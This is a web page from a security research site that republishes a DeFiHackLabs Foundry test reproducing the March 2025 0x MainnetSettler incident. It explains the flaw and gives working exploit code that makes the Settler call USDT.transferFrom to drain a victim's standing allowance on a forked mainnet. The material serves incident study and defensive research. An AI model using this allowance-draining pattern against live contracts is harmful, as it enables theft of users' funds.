Public reproduction file
src/test/2025-03/ZeroExSettler_exp.sol
Public reproduction file for dataset entry ZeroExSettler.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 3,008 USDT8// Attacker : 0xc58a769e3089792670dff22ab85a11983816323b9// Attack Contract : 0x447cd3a83134941523e7c0676f80e4e99bab28ab10// Vulnerable Contract : 0x0d0e364aa7852291883c162b22d6d81f6355428f11// Attack Tx : https://etherscan.io/tx/0x4e2f5bccc5d428c39cd93c64dcd2502d5cf05fb30892c753475155d498ef588712//13// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0x0d0e364aa7852291883c162b22d6d81f6355428f#code15//16// @Analysis17// Twitter Guy : https://t.me/defimon_alerts/59918//19// The 0x MainnetSettler BASIC action lets the caller choose the pool target and20// calldata. The attacker targeted USDT itself and made the Settler call21// USDT.transferFrom(victim, attacker, amount). Because the victim had a large22// pre-existing USDT allowance to the Settler, the Settler acted as the spender23// and transferred the victim balance to the attacker.25address constant ATTACKER = 0xC58A769E3089792670DFf22aB85A11983816323b;26address constant HISTORICAL_ATTACK_CONTRACT = 0x447cD3A83134941523e7c0676f80e4e99bAb28ab;27address constant MAINNET_SETTLER = 0x0d0E364aa7852291883C162B22D6D81f6355428F;28address constant USDT_TOKEN = 0xdAC17F958D2ee523a2206206994597C13D831ec7;29address constant USDT_ALLOWANCE_VICTIM = 0x4D387992614Ff184fb587D590b76C00c48057b4b;31uint256 constant STOLEN_USDT_AMOUNT = 3_008_000_000;32bytes4 constant BASIC_ACTION_SELECTOR = 0x38c9c147;33bytes32 constant ZID_AND_AFFILIATE = 0xa00dda5ed0267accdf4ac6940000000000000000000000000000000000000000;35interface IMainnetSettler {36 struct AllowedSlippage {37 address recipient;38 address buyToken;39 uint256 minAmountOut;40 }42 function execute(43 AllowedSlippage calldata slippage,44 bytes[] calldata actions,45 bytes32 zidAndAffiliate46 ) external payable returns (bool);47}49contract ContractTest is BaseTestWithBalanceLog {50 IERC20 private constant usdt = IERC20(USDT_TOKEN);52 function setUp() public {53 uint256 forkBlock = 22_022_764;54 vm.createSelectFork("mainnet", forkBlock);56 fundingToken = USDT_TOKEN;57 attacker = ATTACKER;59 vm.label(ATTACKER, "Attacker");60 vm.label(HISTORICAL_ATTACK_CONTRACT, "Historical attack contract");61 vm.label(MAINNET_SETTLER, "0x MainnetSettler");62 vm.label(USDT_TOKEN, "USDT");63 vm.label(USDT_ALLOWANCE_VICTIM, "USDT allowance victim");64 }66 function testExploit() public balanceLog {67 uint256 attackerUsdtBefore = usdt.balanceOf(ATTACKER);68 uint256 victimUsdtBefore = usdt.balanceOf(USDT_ALLOWANCE_VICTIM);69 uint256 victimAllowance = usdt.allowance(USDT_ALLOWANCE_VICTIM, MAINNET_SETTLER);71 assertEq(victimUsdtBefore, STOLEN_USDT_AMOUNT);72 assertGt(victimAllowance, STOLEN_USDT_AMOUNT);74 SettlerExploit exploit = new SettlerExploit();75 exploit.attack();77 assertEq(victimUsdtBefore - usdt.balanceOf(USDT_ALLOWANCE_VICTIM), STOLEN_USDT_AMOUNT);78 assertEq(usdt.balanceOf(ATTACKER) - attackerUsdtBefore, STOLEN_USDT_AMOUNT);79 }80}82contract SettlerExploit {83 function attack() external {84 bytes memory transferCall = abi.encodeWithSelector(85 IERC20.transferFrom.selector,86 USDT_ALLOWANCE_VICTIM,87 ATTACKER,88 STOLEN_USDT_AMOUNT89 );91 bytes[] memory actions = new bytes[](1);92 actions[0] = abi.encodeWithSelector(93 BASIC_ACTION_SELECTOR,94 address(0),95 uint256(10_000),96 USDT_TOKEN,97 uint256(0),98 transferCall99 );101 IMainnetSettler.AllowedSlippage memory slippage = IMainnetSettler.AllowedSlippage({102 recipient: address(0),103 buyToken: address(0),104 minAmountOut: 0105 });107 IMainnetSettler(MAINNET_SETTLER).execute(slippage, actions, ZID_AND_AFFILIATE);108 }109}Analysis
Dataset entry
Public Foundry test for “ZeroExSettler” (2025-03-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
18 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-03/Alkimiya_io_exp.solSame month in the dataset · 145 lines
- src/test/2025-03/BBXToken_exp.solSame month in the dataset · 128 lines
- src/test/2025-03/DCFToken_exp.solSame month in the dataset · 184 lines
- src/test/2025-03/DUCKVADER_exp.solSame month in the dataset · 82 lines
- src/test/2025-03/H2O_exp.solSame month in the dataset · 163 lines
- src/test/2025-03/LeverageSIR_exp.solSame month in the dataset · 258 lines
- src/test/2025-03/PTM_exp.solSame month in the dataset · 103 lines
- src/test/2025-03/Pump_exp.solSame month in the dataset · 130 lines
- src/test/2025-03/RnsPay_exp.solSame month in the dataset · 157 lines
- src/test/2025-03/SBRToken_exp.solSame month in the dataset · 80 lines
- src/test/2025-03/StackMarket_exp.solSame month in the dataset · 136 lines
- src/test/2025-03/UNI_exp.solSame month in the dataset · 111 lines
- src/test/2025-03/unverified_3f27_exp.solSame month in the dataset · 112 lines
- src/test/2025-03/unverified_de7c_exp.solSame month in the dataset · 129 lines
- src/test/2025-03/wKeyDAO_exp.solSame month in the dataset · 160 lines
- src/test/2025-03/YziAIToken_exp.solSame month in the dataset · 69 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xc58a769e3089792670dff22ab85a11983816323b
- Attack Contract
0x447cd3a83134941523e7c0676f80e4e99bab28ab
- Vulnerable Contract
0x0d0e364aa7852291883c162b22d6d81f6355428f
- Attack Tx
0x4e2f5bccc5d428c39cd93c64dcd2502d5cf05fb30892c753475155d498ef5887
File record
- Name
- ZeroExSettler
- Path
- src/test/2025-03/ZeroExSettler_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- cbf73928417220b158f68cfd74502dce3fe1915e
- Language
- Solidity
- Size
- 110 lines
- Date
- 2025-03-11
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-03/ZeroExSettler_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob cbf73928417220b158f68cfd74502dce3fe1915e, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.